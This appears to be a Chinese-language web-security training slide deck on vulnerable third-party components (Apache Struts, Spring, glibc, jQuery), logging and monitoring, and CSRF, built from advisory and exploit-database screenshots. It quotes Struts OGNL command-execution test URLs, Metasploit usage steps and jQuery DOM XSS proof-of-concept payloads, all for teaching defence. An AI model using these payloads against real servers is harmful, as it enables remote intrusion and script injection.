2017-03-07	↳	-	🕒	Apache Struts 2.3.5 < 2.3.31 / 2.5 < 2.5.10 - Remote Code Execution	Linux	Vex Woo
2016-06-10	↳	-	✓	Apache Struts - REST Plugin With Dynamic Method Invocation Remote Code Execution...	Multiple	Metasploit
2016-05-02	↳	-	✓	Apache Struts - Dynamic Method Invocation Remote Code Execution (Metasploit)	Linux	Metasploit
2014-05-02	↳	-	✓	Apache Struts - ClassLoader Manipulation Remote Code Execution (Metasploit)	Multiple	Metasploit
2014-03-06	↳	-	✓	Apache Struts < 1.3.10 / < 2.3.16.2 - ClassLoader Manipulation Remote Code Execution...	Multiple	Metasploit
2014-02-05	↳	-	✓	Apache Struts - Developer Mode OGNL Execution (Metasploit)	Java	Metasploit
2014-01-14	↳	-	✓	Apache Struts2 2.0.0 < 2.3.15 - Prefixed Parameters OGNL Injection	Multiple	Takeshi Terada
2013-07-27	↳	-	✓	Apache Struts 2 - DefaultActionMapper Prefixes OGNL Code Execution (Metasploit)	Multiple	Metasploit
2013-07-16	↳	-	✓	Apache Struts 2.2.3 - Multiple Open Redirections	Multiple	Takeshi Terada
2013-06-05	↳	-	✓	Apache Struts - OGNL Expression Injection	Multiple	Jon Passki
2013-06-05	↳	-	✓	Apache Struts - includeParams Remote Code Execution (Metasploit)	Multiple	Metasploit
2013-03-22	↳	-	✓	Apache Struts - 'ParametersInterceptor' Remote Code Execution (Metasploit)	Multiple	Metasploit
2012-08-23	↳	-	✓	Apache Struts 2 - Skill Name Remote Code Execution	Multiple	Iodzx
2012-06-05	↳	-	✓	Apache Struts 2.2.1.1 - Remote Command Execution (Metasploit)	Multiple	Metasploit
2012-03-23	↳	-	✓	Apache Struts 2.0 - 'XSLTResult.java' Arbitrary File Upload	Java	voidloafer
2012-02-02	↳	-	🕒	Apache Struts - Multiple Persistent Cross-Site Scripting Vulnerabilities	Multiple	SecPod Research
2012-01-06	↳	-	✓	Apache Struts 2 < 2.3.1 - Multiple Vulnerabilities	Multiple	SEC Consult
2011-12-07	↳	-	✓	Apache Struts 2.0.9/2.1.8 - Session Tampering Security Bypass	Multiple	Hisato Killing
2011-08-19	↳	-	✓	Apache Struts < 2.2.0 - Remote Command Execution (Metasploit)	Multiple	Metasploit
2011-05-10	↳	-	✓	Apache Struts 2.0.0 < 2.2.1.1 - XWork 's:submit' HTML Tag Cross-Site Scripting	Multiple	Dr. Marian...
2010-07-14	↳	-	🕒	Struts2/XWork < 2.2.0 - Remote Command Execution	Multiple	Meder...
2008-11-04	↳	-	✓	Struts 2.0.11 - Multiple Directory Traversal Vulnerabilities	Multiple	Csaba Barta
2005-11-21	↳	-	✓	Apache Struts 1.2.7 - Error Response Cross-Site Scripting	Multiple	Irene Abegzauz

# Case1: Struts

<https://struts.apache.org/release/2.3.x/docs/s2-016.html>

## ➤ CVE-2013-2251: Remote Code Execution

- ✓ 問題版本: **Struts 2.0.0 - Struts 2.3.15**
- ✓ Struts2 中支援一些 Prefix 讓程式開發人員可以方便導向, 如 action, redirect, redirectAction 等
- ✓ 但在處理這些方法時並沒有做好過濾, 造成在這之中的內容可以用  **`${ognl_exp}`** 的形式來執行 OGNL
  - 如：**redirectAction: \${123\*123}** 網站會跳轉到 /15129.action，漏洞存在代表 123\*123 有被伺服器運算到！

# 攻擊範例(cont.)

<http://struts.apache.org/docs/s2-016.html>

## ➤ Sample Test URLs

- ✓ Simple Expression - the parameter names are evaluated as OGNL.

- `http://host/struts2-blank/example/X.action?action:%25{3*4}`
  - `http://host/struts2-showcase/employee/save.action?redirect:%25{3*4}`

- ✓ Command Execution

- `http://host/struts2-blank/example/X.action?action:%25{((new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start())}`
  - `http://host/struts2-showcase/employee/save.action?redirect:%25{((new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start())}`
  - `http://host/struts2-showcase/employee/save.action?redirectAction:%25{((new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start())}`

The screenshot shows a web browser window with the title "S2-016". The address bar contains the URL "struts.apache.org/docs/s2-016.html". The page header includes "Home > Security Bulletins > S2-016" and "Apache Struts 2 Documentation". The main content area is titled "Summary" and describes a vulnerability where manipulating parameters prefixed with "action:" or "redirect:" allows remote command execution. Below this, there is a table with the following data:

Who should read this	All Struts 2 developers and users
Impact of vulnerability	Remote command execution
Maximum security rating	Highly Critical
Recommendation	Developers should immediately upgrade to <a href="#">Struts 2.3.15.1</a>
Affected Software	Struts 2.0.0 - Struts 2.3.15
Reporter	Takeshi Terada of Mitsui Bussan Secure Directions, Inc.
CVE Identifier	<a href="#">CVE-2013-2251</a>

A large green watermark reading "版本更新" (Version Update) is overlaid on the right side of the table.

# Again: 2016

<https://packetstormsecurity.com/files/136856/Apache-Struts-2.3.28-Dynamic-Method-Invocation-Remote-Code-Execution.html>  
<https://struts.apache.org/docs/s2-032.html>

## ➤ CVE-2016-3081 : Dynamic Method Invocation Remote Code Execution

### ✓ 問題版本

- Apache Struts **2.3.20 ~ 2.3.28**  
(except 2.3.20.3 and 2.3.24.3)

### ✓ 弱點描述

- Remote Code Execution can be performed via method: **prefix** when **Dynamic Method Invocation is enabled.**

### ✓ 修正版本

- **2.3.20.3、2.3.24.3、2.3.28.1**

[←](#) [→](#) [C](#) [Home](#) [www.securityfocus.com/bid/87327](http://www.securityfocus.com/bid/87327)

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[info](#) [discussion](#) [exploit](#) [solution](#) [references](#)

## Apache Struts CVE-2016-3081 Remote Code Execution Vulnerability

Bugtraq ID: 87327

Class: Unknown

CVE: CVE-2016-3081

Remote: Yes

Local: No

Published: Apr 22 2016 12:00AM

Updated: Oct 26 2016 12:09AM

Credit: Nike Zheng

Vulnerable:

- Oracle Siebel Apps - E-Billing 7.1
- Oracle MICROS Retail XBRI Loss Prevention 10.8.1
- Oracle MICROS Retail XBRI Loss Prevention 10.8
- Oracle MICROS Retail XBRI Loss Prevention 10.7
- Oracle MICROS Retail XBRI Loss Prevention 10.6
- Oracle MICROS Retail XBRI Loss Prevention 10.5
- Oracle MICROS Retail XBRI Loss Prevention 10.0.1
- Oracle FLEXCUBE Private Banking 12.1
- Oracle FLEXCUBE Private Banking 12.0.3
- Oracle FLEXCUBE Private Banking 12.0.2
- Oracle FLEXCUBE Private Banking 12.0.1
- Oracle FLEXCUBE Private Banking 2.2
- Oracle FLEXCUBE Private Banking 2.0.1
- Oracle FLEXCUBE Private Banking 2.0
- Huawei OceanStor Onebox V100R003C10
- Huawei OceanStor N8500 V200R001C91SPC901
- Huawei OceanStor N8500 V200R001C91SPC900
- Huawei OceanStor N8500 V200R001C91SPC205
- Huawei OceanStor N8500 V200R001C91
- Huawei OceanStor N8500 V200R001C09SPC505
- Huawei OceanStor N8500 V200R001C09
- Huawei OceanStor 9000 V300R005C00
- Huawei OceanStor 9000 V100R001C30
- Huawei OceanStor 9000 V100R001C01
- Huawei OceanStor 5800 V3 0
- Huawei OceanStor 5300 V3 V300R003C00
- Huawei OceanStor 5300 V3 V300R002C10
- Huawei OceanStor 5300 V3 V300R001C20
- Huawei OceanStor 18800 V300R003C10
- Huawei OceanStor 18500 V2 V300R002C10



# Apache Struts - Dynamic Method Invocation Remote Code Execution (Metasploit)

EDB-ID: 39756	Author: Metasploit	Published: 2016-05-02
CVE: CVE-2016-3081	Type: Remote	Platform: Linux
Aliases: N/A	Advisory/Source: N/A	Tags: Metasploit Framework
E-DB Verified:	Exploit:  Download /  View Raw	Vulnerable App: N/A

« Previous Exploit

Next Exploit »

```
1 ##
2 # This module requires Metasploit: http://metasploit.com/download
3 # Current source: https://github.com/rapid7/metasploit-framework
4 ##
5
6 require 'msf/core'
7
8 class MetasploitModule < Msf::Exploit::Remote
9   Rank = ExcellentRanking
10
11  include Msf::Exploit::Remote::HttpClient
12  include Msf::Exploit::EXE
13
14  def initialize(info = {})
15    super(update_info,
16      'Name'          => 'Apache Struts Dynamic Method Invocation',
17      'Description'   => %q{
18        This module exploits a remote command execution vulnerability
19        version between 2.3.20 and 2.3.28 (except 2.3.20.2 and 2.3.
20        Execution can be performed via method: prefix when Dynamic
21        is enabled.
22      },
23      'Author'         => [ 'Nixawk' ],
24      'License'        => MSF_LICENSE,
25      'References'    =>
26      [
27        [ 'CVE', '2016-3081' ],
28        [ 'URL', 'https://www.sebug.org/vuldb/ssvid-91389' ]
29    )
30  end
```

```
msf > use exploit/multi/http/struts_dmi_exec
msf exploit(struts_dmi_exec) > show targets
...targets...
msf exploit(struts_dmi_exec) > set TARGET <target-id>
msf exploit(struts_dmi_exec) > show options
...show and set options...
msf exploit(struts_dmi_exec) > exploit
```

# Again: 2017

<http://www.ithome.com.tw/news/112591>

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**新聞**

## Apache Struts2再度爆發高風險漏洞，HITCON ZeroDay通報：金融電信業者受駭

使用Struts 2.3.5、Struts 2.3.31、Struts 2.5～Struts 2.5.10等網站框架的伺服器，都受到駭客可以直接進行遠端執行程式的S2-045漏洞編號影響，可以導致網站資料外洩、被植入木馬程式等風險

**2017.3**

文/黃彥葉 | 2017-03-07 發表

z zeroday.hitcon.org | HITCON ZeroDay

讚 4.2 萬 按讚加入iThome粉絲團 | 訂閱 764 分享 | G+1 7

HITCON ZeroDay 漏洞 消息

公告

### Struts2 S2-045 漏洞預警 (CVE-2017-5638)

HITCON ZeroDay 服務團隊 2017/03/07

近期 HITCON ZeroDay 陸續收到 Struts2 S2-045 漏洞通報，網路上 PoC 攻擊程式已經流傳，且已發現大規模掃描發生。請各位朋友多注意系統安全，儘速更新。

影響範圍：Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10

建議升級：Struts 2.3.32 或 Struts 2.5.10.1

漏洞影響：攻擊者可直接遠端執行任意指令，控制目標伺服器，請儘速更新系統，詳情請參閱 <https://cwiki.apache.org/confluence/display/WW/S2-045>

臺灣HITCON ZeroDay漏洞通報平臺表示，臺灣已經有使用Struts2框架的銀行和電信業者，遭到駭客大規模的IP掃描，一旦銀行業者沒有修補相關漏洞，駭客就可以成功入侵該銀行網站並竊取相關資料、置入後門程式。

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#Telnet連接埠暴露 #臺灣排名第25  
報告：全球仍有1,000萬臺裝置 Telnet連接埠公開暴露在網路，臺灣占63萬臺位居第25名  
資安公司Rapid7近日公布《National Exposure Index》第二版報告指出，2016年全球有1,000萬臺裝置的Telnet連接埠，依然暴

**iThome** 按讚追蹤 iThome 最新報導 | 認可

讚 4.2 萬

# Non-Stop....

<http://pentestit.com/apache-struts2-showcase-remote-code-execution-s2-048/>

The screenshot shows a web browser window with the title bar "Apache Struts2 Showcase". The address bar contains the URL "pentestit.com/apache-struts2-showcase-remote-code-execution-s2-048/". Below the address bar, there are three navigation links: "GOOGLE DORKS!", "SHODAN QUERIES!", and "MALWARE SOURCES". The main content area features the "PenTestIT" logo and the tagline "Your source for all things Information". A "Security!" section is present. The breadcrumb navigation shows "You are here: Home / Web Application Security / Apache Struts2 Showcase Remote Code Execution! (S2-048)". A green ribbon-like icon with the word "New" is visible next to the breadcrumb. The main article title is "Apache Struts2 Showcase Remote Code Execution! (S2-048)". Below the title, it says "by Black. Updated on July 8, 2017 @pentestit 6156 views". The article content discusses two vulnerabilities: S2-045 and S2-048, highlighting that S2-048 was recently made public by the Apache foundation.

## 2017.7

From the above information we know that the vulnerability exists in the **Apache Struts 2.3.x Showcase** application, which is accessible at `/struts2-showcase/`. The fix on Apache page also mentions the following in the solution:  
Always use resource keys instead of passing a raw message to the ActionMessage as shown below, never pass a raw value directly

### Possible ways to protect against Apache Struts2 S2-048 vulnerability:

Follow the solution Apache mentions. I would rather say, disable the Showcase app. Updating to **Apache Struts 2.5.10.1** should also help.

Copyright of STI

# 就是不斷更新.....或乾脆不用

<https://www.ithome.com.tw/news/117075>

新聞

## 快更新! 甲骨文緊急修補7個Apache Struts 2 安全漏洞

甲骨文原定在10月才會釋出更新，卻在本周緊急釋出更新，一次修補7個Apache Struts 2漏洞，其中一個漏洞影響2008年以後的所有Struts版本，以Struts與REST通訊外掛打造的應用程式，其代管伺服器可讓駭客自遠端執行任何程式。

2017.9

文/ 陳曉莉 | 2017-09-27 發表

✓ 讀 4.8 萬 按讚加入 iThome 粉絲團

↑ 讀 4 分享

G+

### Oracle Security Alert Advisory - CVE-2017-9805

#### Description

The Apache Foundation's fixes for CVE-2017-5638, an Apache Struts 2 vulnerability identified by Equifax in relation to Equifax's recent security incident, were distributed by Oracle to its customers in the April 2017 Critical Patch Update, and should have already been applied to customer systems.

Subsequent to the Equifax breach, the Apache Foundation released fixes for a number of additional Apache Struts 2 vulnerabilities (CVE-2017-9805, CVE-2017-7672, CVE-2017-9787, CVE-2017-9791, CVE-2017-9793, CVE-2017-9804, and CVE-2017-12611). Oracle is distributing these fixes as part of this Security Alert for the benefit of our customers.

Oracle strongly recommends that the fixes contained in this Security Alert be applied without delay.

Please note that the vulnerabilities in this Security Alert are scored using version 3.0 of Common Vulnerability Scoring Standard (CVSS).

This Security Alert is also available in an XML format that conforms to the Common Vulnerability Reporting Format (CVRF) version 1.1. More information about Oracle's CVRF is available at: <http://www.oracle.com/technetwork/topics/security/cpufaq-098434.html#CVRF>.

#### Security Alert Supported Products and Versions


Patches released through the Security Alert program are provided only for product versions that are covered under the Premier Support or Extended Support phases of the Lifetime Support Policy. We recommend that customers plan product upgrades to ensure that patches released through the Critical Patch Update program are available for the versions they are currently running.

圖片來源: Oracle

Product releases that are not under Premier Support or Extended Support are not tested for the presence of vulnerabilities addressed by this Security Alert. However, it is important to note that earlier versions of affected releases are also affected by these vulnerabilities. As a result, Oracle recommends that customers upgrade to supported versions.




劉培欣  
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工程副總



你和其他 1



## STRUTS-SHOCK: STRUTS 2 VERSIONS IN USE, MARCH 2017



資料來源: [Veracode] "State of Software Security 2017"

# Case2: Spring

<https://www.exploit-db.com/>

**EXPLOIT DATABASE**

Home Exploits Shellcode Papers Google Hacking Database Submit Search

## Search the Exploit Database

Search the Database for Exploits, Papers, and Shellcode. You can even search by **CVE** and **OSVDB** identifiers.

spring

我不是機器人  reCAPTCHA 隱私權 - 條款

SEARCH More Options

6 total entries

Date	D	A	V	Title	Platform	Author
2018-03-15	green	-	green	Spring Data REST < 2.6.9 (Ingalls SR9) / 3.0.1 (Kay SR1) - PATCH Request Remote Code...	Java	Antonio...
2011-09-09	green	-	green	Spring Security - HTTP Header Injection	Multiple	David Mas
2010-06-18	green	-	green	Spring Framework - Arbitrary code Execution	Multiple	Meder...
2010-03-23	green	-	green	SpringSource (Multiple Products) - Multiple HTML Injection Vulnerabilities	PHP	Aaron Kulick
2010-03-15	green	-	green	iPhone Springboard - Malformed Character Crash (PoC)	Hardware	Chase Higgins
2002-07-17	green	-	green	Macromedia SiteSpring 1.2 - Default Error Page Cross-Site Scripting	JSP	Peter Grändl

# Case3 : GNU C Library(Glibc)

<http://www.ithome.com.tw/news/103938>

**iThome** 新聞 產品評測 技術 專題 Big Data Cloud DevOps 資安 Video 研討會 社群

新聞

## Linux函式庫Glibc再現重大安全漏洞

在Glibc的DNS客戶端解析器中使用getaddrinfo() 函式功能時，駭客只要在合法的DNS請求時，以過大的DNS檔案回應，便會形成堆積緩衝區溢位漏洞。受影響為Glibc 2.9以後的所有版本，可能導致遠端程式攻擊。

文/ 陳曉莉 | 2016-02-17 發表

✓ 讀 4.1 萬 按讚加入iThome粉絲團  讀 476 分享  G+ 28



Google與紅帽的安全研究人員近日不約而同地發現了Linux的GNU C library ( Glibc ) 專案中藏匿一重大的安全漏洞，可能造成堆積緩衝區溢位並導致遠端程式攻擊，估計將影響眾多的Linux軟體與裝置。該漏洞的修補程式已於周二 (2/16) 釋出。

# Case4: jQuery

<https://www.cvedetails.com/vendor/6538/Jquery.html>

[https://www.cvedetails.com/vulnerability-list/vendor\\_id-6538/0pxss-1/Jquery.html](https://www.cvedetails.com/vulnerability-list/vendor_id-6538/0pxss-1/Jquery.html)

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The ultimate security vulnerability datasource

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(e.g.: CVE-2009-1234 or 2010-1234 or 20101234)

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### Jquery : Vulnerability Statistics

[Products \(3\)](#) [Vulnerabilities \(8\)](#) [Search for products of Jquery](#) [CVSS Scores Report](#) [Possible matches for this vendor](#) [Related Metasploit Modules](#)

[Vulnerability Feeds & Widgets](#)

#### Vulnerability Trends Over Time

Year	# of Vulnerabilities	DoS	Code Execution	Overflow	Memory Corruption	Sql Injection	XSS	Directory Traversal	Http Response Splitting	Bypass something	Gain Information	Gain Privileges	CSRF	File Inclusion	# of exploits
2007	1														
2013	1									1					
2014	1									1					
2017	1									1					
2018	4	1								3					
Total	8	1								6					
% Of All		12.5	0.0	0.0	0.0	0.0	75.0								

Warning : Vulnerabilities with publish dates before 1999 are not included in this table and they may not be actually published in those years.)

### Jquery : Security Vulnerabilities (Cross Site Scripting (XSS))

CVSS Scores Greater Than: 0 1 2 3 4 5 6 7 8 9  
Sort Results By : [CVE Number Descending](#) [CVE Number Ascending](#) [CVSS Score Descending](#) [Number Of Exploits Descending](#)  
[Copy Results](#) [Download Results](#)

#	CVE ID	CWE ID	# of Exploits	Vulnerability Type(s)	Publish Date	Update Date	Score	Gained Access	Access	Complexity	Authentication	Conf.	Integ.	Avail.
1	<a href="#">CVE-2016-7103 79</a>		XSS		2017-03-15	2018-01-04	4.3	None	Remote	Medium	Not required	None	Partial	None
Cross-site scripting (XSS) vulnerability in jQuery UI before 1.12.0 might allow remote attackers to inject arbitrary web script or HTML via the closeText parameter of the dialog function.														
2	<a href="#">CVE-2015-9251 79</a>		XSS		2018-01-18	2018-02-02	4.3	None	Remote	Medium	Not required	None	Partial	None
jQuery before 3.0.0 is vulnerable to Cross-site Scripting (XSS) attacks when a cross-domain Ajax request is performed without the dataType option, causing text/javascript responses to be executed.														
3	<a href="#">CVE-2014-6071 79</a>		XSS		2018-01-16	2018-02-01	4.3	None	Remote	Medium	Not required	None	Partial	None
jQuery 1.4.2 allows remote attackers to conduct cross-site scripting (XSS) attacks via vectors related to use of the text method inside after.														
4	<a href="#">CVE-2012-6708 79</a>		XSS		2018-01-18	2018-02-02	4.3	None	Remote	Medium	Not required	None	Partial	None
jQuery before 1.9.0 is vulnerable to Cross-site Scripting (XSS) attacks. The jQuery(strInput) function does not differentiate selectors from HTML in a reliable fashion. In vulnerable versions, jQuery determined whether the input was HTML by looking for the '<' character anywhere in the string, giving attackers more flexibility when attempting to construct a malicious payload. In fixed versions, jQuery only deems the input to be HTML if it explicitly starts with the '<' character, limiting exploitability only to attackers who can control the beginning of a string, which is far less common.														
5	<a href="#">CVE-2011-4969 79</a>		XSS		2013-03-09	2016-11-28	4.3	None	Remote	Medium	Not required	None	Partial	None
Cross-site scripting (XSS) vulnerability in jQuery before 1.6.3, when using location.hash to select elements, allows remote attackers to inject arbitrary web script or HTML via a crafted tag.														
6	<a href="#">CVE-2010-5312 79</a>		XSS		2014-11-24	2017-09-07	4.3	None	Remote	Medium	Not required	None	Partial	None
Cross-site scripting (XSS) vulnerability in jquery.ui.dialog.js in the Dialog widget in jQuery UI before 1.10.0 allows remote attackers to inject arbitrary web script or HTML via the title option.														
Total number of vulnerabilities : 6 Page : 1 (This Page)														

# 攻擊範例

<https://sekure4sure.blogspot.tw/2016/06/locationhash-exploit-jquery-1113172161.html>

```
<html>
<head>


<title>Jquery XSS Test 1</title>

<script type="text/javascript"
src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.3/jquery.min.js">
</script>

<script>
$(location.hash.split('#')[1]);
</script>

</head>
<body>
    Jquery DOM XSS
</body>
</html>
```

Now, use this HTML page with file:///C:/Jquery.html#<video><source/onerror=alert(1)>



```
<html>
<head>

<title>Jquery XSS Test 2</title>

<script type="text/javascript"
src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.3/jquery.min.js">
</script>

<script>
$(location.hash);
</script>

</head>
<body>
    Jquery DOM XSS
</body>
</html>
```

# 實際案例

<http://xss.cx/2013/07/12/report/dealsebaycom-xss-dom-jquery-location.hash-example-poc.html>

## DOM XSS PoC with jQuery V1.7 via \$(location.hash) in deals.ebay.com

PoC URL [http://deals.ebay.com/#<svg onload='alert\('jQuery V1.7'\)'>](http://deals.ebay.com/#<svg onload='alert('jQuery V1.7')'>) | XSS.CX | Reported May 25, 2013 | Resolved June 2013

Target URL	High	Medium	Low	Info
http://deals.ebay.com	1	0	0	0

### Alert Detail

Click here to hide

Hide the alert

High (Verified)	DOM XSS
Description	jQuery V1.7
URL	<a href="http://deals.ebay.com">#&lt;svg onload='alert('jQuery V1.7')'&gt;"&gt;http://deals.ebay.com</a>
Parameter	location.hash via <svg onload="alert('Vulnerable jQuery V1.7')">
Other information	CWE-79-Type0: In DOM-based XSS, the client performs the injection of XSS into the page; in the other types, the server performs the injection. DOM-based XSS generally involves server-controlled, trusted script that is sent to the client, such as Javascript that performs sanity checks on a form before the user submits it. If the server-supplied script processes user-supplied data and then injects it back into the web page (such as with dynamic HTML), then DOM-based XSS is possible.

### PoC in IE10



A screenshot of the eBay deals homepage in a modern browser, likely Google Chrome. The URL bar shows the exploit URL. The page displays various deals, including a Vizio 42" 1080p 120Hz 3D LCD HDTV E3D420VX for \$389.99. A modal dialog box is open in the center of the screen, displaying a warning message: "Message from webpage...". The dialog has a yellow warning icon and the number "9" next to it, with an "OK" button at the bottom. The browser interface includes standard navigation buttons and a search bar.

# Case5: jQuery UI

[http://www.cvedetails.com/product/30361/Jqueryui-Jquery-Ui.html?vendor\\_id=14952](http://www.cvedetails.com/product/30361/Jqueryui-Jquery-Ui.html?vendor_id=14952)

[http://www.cvedetails.com/vulnerability-list/vendor\\_id-14952/product\\_id-30361/opxss-1/Jqueryui-Jquery-Ui.html](http://www.cvedetails.com/vulnerability-list/vendor_id-14952/product_id-30361/opxss-1/Jqueryui-Jquery-Ui.html)

## CVE Details

The ultimate security vulnerability datasource

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Version Search  
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By Microsoft  
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Top 50 :  
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Vendor Cvss Scores  
Products  
Product Cvss Scores  
Versions

Other :  
Microsoft Bulletins  
Bugtraq Entries  
CWE Definitions  
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(e.g.: CVE-2009-1234 or 2010-1234 or 20101234)

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### Jqueryui » Jquery Ui : Vulnerability Statistics

Vulnerabilities (1) CVSS Scores Report Browse all versions Possible matches for this product Related Metasploit Modules


Related OVAL Definitions : Vulnerabilities (0) Patches (2) Inventory Definitions (0) Compliance Definitions (0)


Vulnerability Feeds & Widgets

#### Vulnerability Trends Over Time

Year	# of Vulnerabilities	DoS	Code Execution	Overflow	Memory Corruption	Sql Injection	XSS	Directory Traversal	Http Response Splitting	Bypass something	Gain Information	Gain Privileges	CSRF	File Inclusion	# of exploits
2014	1						1								
Total	1						1								
% Of All		0.0	0.0	0.0	0.0	0.0	100.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	

Warning : Vulnerabilities with publish dates before 1999 are not included in this table and chart. (Because there are not many of them and they make the page look bad; and they may not be actually published in those years.)

Vulnerabilities By Year  


Vulnerabilities By Type  


### Jqueryui » Jquery Ui : Security Vulnerabilities (Cross Site Scripting (XSS))

CVSS Scores Greater Than: 0 1 2 3 4 5 6 7 8 9

Sort Results By : CVE Number Descending CVE Number Ascending CVSS Score Descending Number Of Exploits Descending

[Copy Results](#) [Download Results](#)

#	CVE ID	CWE ID	# of Exploits	Vulnerability Type(s)	Publish Date	Update Date	Score	Gained Access Level	Access	Complexity	Authentication	Conf.	Integ.	Avail.
1	<a href="#">CVE-2012-6662</a>	79	XSS		2014-11-24	2016-12-23	4.3	None	Remote	Medium	Not required	None	Partial	None

Cross-site scripting (XSS) vulnerability in the default content option in jquery.ui.tooltip.js in the Tooltip widget in jQuery UI before 1.10.0 allows remote attackers to inject arbitrary web script or HTML via the title attribute, which is not properly handled in the autocomplete combo box demo.

Total number of vulnerabilities : 1 Page : 1 (This Page)

美國東北大學 ( Northeastern University ) 電腦暨資訊科學學院的研究人員近日公布了一項關乎網路上使用JavaScript函式庫的分析報告，在所調查的13.3萬個網站中，有37%的網站使用了至少1個含有漏洞的JavaScript函式庫，這些過時的函式庫有的還是好幾年前的版本。

JavaScript函式庫為高階的動態程式語言，與HTML及CSS並列為全球資訊網 ( WWW ) 的三大核心技術。 ( JavaScript library ) 則是為了方便開發JavaScript應用而事先寫好的子程式集合，全球已出現近10萬種函式庫。

該報告所測量的並非JavaScript函式庫的安全狀態，而是網站使用及維護這些函式庫的情況，並以最常見的72種開放源碼的JavaScript函式庫為基準，包括jQuery、jQuery-UI、Modernizr、Bootstrap、Yepnope、jQuery-Migrate及SWFObject等。

研究人員建立了72種函式庫之各種版本的漏洞資料庫，然後掃描Alexa排行榜上前7.5萬個網站以及隨機選取的另外7.5萬個.com網站，以偵測這13.3萬個網站是否安裝這些函式庫及其版本。

結果發現有37%的網站使用1個含有漏洞的JavaScript函式庫版本，有10%的網站使用2個以上含有漏洞的JavaScript函式庫版本。而在Alexa排行榜上的7.5萬個網站所使用的函式庫中，有87.3%的YUI3、86.6%的Handlebars、40.1%的Angular、36.7%的jQuery，以及33.7%的jq-UI都是有漏洞的版本。

其實37%這個比例還可能被低估了，因為研究人員只測量了72個JavaScript函式庫。

### Most used Java components with critical vulnerabilities


LIBRARY	VERSION	% OF JAVA APPLICATIONS
commons-collections-3.2.1.jar	3.2.1	25.0%
commons-fileupload-1.2.1.jar	1.2.1	10.4%
batik-css-1.7.jar	1.7	9.5%
batik-util-1.7.jar	1.7	9.4%
commons-fileupload-1.2.jar	1.2	9.3%
batik-ext-1.7.jar	1.7	9.2%
spring-web-3.1.1.RELEASE.jar	3.1.1.RELEASE	4.7%
spring-core-3.1.1.RELEASE.jar	3.1.1.RELEASE	4.7%
spring-beans-3.1.1.RELEASE.jar	3.1.1.RELEASE	4.6%
spring-context-3.1.1.RELEASE.jar	3.1.1.RELEASE	4.5%
spring-expression-3.1.1.RELEASE.jar	3.1.1.RELEASE	4.4%
spring-jdbc-3.1.1.RELEASE.jar	3.1.1.RELEASE	4.4%
struts-1.2.9.jar	1.2.9	4.3%
spring-aop-3.1.1.RELEASE.jar	3.1.1.RELEASE	4.3%
spring-asm-3.1.1.RELEASE.jar	3.1.1.RELEASE	4.3%
spring-tx-3.1.1.RELEASE.jar	3.1.1.RELEASE	4.2%
spring-context-support-3.1.1.RELEASE.jar	3.1.1.RELEASE	4.2%
spring-orm-3.1.1.RELEASE.jar	3.1.1.RELEASE	3.8%
spring-jms-3.1.1.RELEASE.jar	3.1.1.RELEASE	3.8%
spring-webmvc-3.1.1.RELEASE.jar	3.1.1.RELEASE	3.8%

# 防護建議

- 儘量使用最新版
- 常檢視相關最新資安訊息
  - ✓ Exploit DB
  - ✓ CVE
  - ✓ 使用者討論區
  - ✓ 官方 release note
- 弱點掃描工具
  - ✓ 例: Acunetix、Metasploit、....


The screenshot shows the Acunetix Web Vulnerability Scanner (WVS) interface. The 'Test' pane on the left lists several scripts under the 'PostCrawl' category, which are used to check for specific vulnerabilities after a crawl has been completed. The 'Description' pane on the right provides details for each script.

Test	Description
Scripts	Acunetix WVS scripts
PostCrawl	Scripts executed after the crawl was finished
Struts2_ClassLoader_Manipulation.script	Struts2_ClassLoader_Manipulation.script
Struts2_ClassLoader_Manipulation2.script	Struts2_ClassLoader_Manipulation2.script
Struts2_Development_Mode.script	Struts2_Development_Mode.script
Struts2_Remote_Code_Execution.script	This script checks for Multiple critical vulnerabilities in Apache Struts2. Apache Struts2 is a web framework and it ...
Struts2_Remote_Code_Execution_S2014.script	Struts2_Remote_Code_Execution_S2014.script



# A10 – Insufficient Logging & Monitoring

# 時程趕工下的犧牲者



# 中國三寶車主撞牆怪煞車失靈，特斯拉： Log檔裡沒踩煞車

by Onews

分類 科技

0

 請 230 人說這讚。趕快註冊來看看朋友對哪些內容按讚。



@现代快报

Onews 喔趣

# Notification → End User

➤ 以下動作最好要通知使用者

- ✓ 上次登入時間(此項可直接顯示在網頁上)
- ✓ 密碼變更、忘記密碼的申請、密碼重設
- ✓ 個人資料的修改
- ✓ 成功或失敗的交易

➤ 通知必須透過 **out-of-band** 媒介

- ✓ Email/實體信件
- ✓ 簡訊/電話

➤ 通知的內容中避免夾帶機敏資料

# Log Content

## ➤ For Security


- ✓ 登入(成功與失敗) / 登出
- ✓ 密碼變更、忘記密碼的申請、密碼重設
- ✓ 個人資料的修改
- ✓ 後端重要檔案或資料的存取
- ✓ 檔案上傳
- ✓ 重要功能或交易(成功與失敗)
- ✓ 異常輸入狀況(後續介紹....)
- ✓ 新增、暫停、刪除使用者
- ✓ 重要系統參數的修改
- ✓ 資料上架/下架
- .....



特別針對管理者

# Log 注意事項

- 時間需校正
- 記錄對象應包含使用者與管理者
- 避開機敏資料(如：密碼、個資)或進行馬賽克。
- 避免自己被灌爆 → 白名單 / Aggregation
- 應妥善儲存與保護這些 Log 記錄



# Log → Monitoring

## ➤ 異常行為監測

- ✓ 異常資料內容
  - SQL Injection ?
  - XSS?
  - 越權?
  - 異常交易數值
  - 異常資料長度
  - ....

- ✓ 異常存取頻率
  - 暴力猜測密碼?
  - 大量輸入 / 下單?
  - 大量讀取
  - .....



<http://imgs.iaweg.com/pic/3BpYzQwLm5pcGljLmNvbS8yMDE0MDQzMj8yNTMxMTcwXzIxMjY1NDY0ODAwMF8yLmpwZwloglog>

# Incident Handling



## ➤ Incident Handling

Type	Target
	<ul style="list-style-type: none"><li>➤ User</li><li>➤ Administrator</li><li>➤ Stakeholders</li></ul>
	<ul style="list-style-type: none"><li>➤ IP</li><li>➤ IP Range</li></ul>
 Monitor / Disable	<ul style="list-style-type: none"><li>➤ User Rights</li><li>➤ User Account</li></ul>

# **Others: Cross-Site Request Forgery (CSRF)**




## “跨網站請求偽造”

駭客 ....  
偷偷利用你的身份  
在你登入過的網站  
進行網站提供的功能!

# 原理說明



# 原理說明(cont.)




# 防護建議

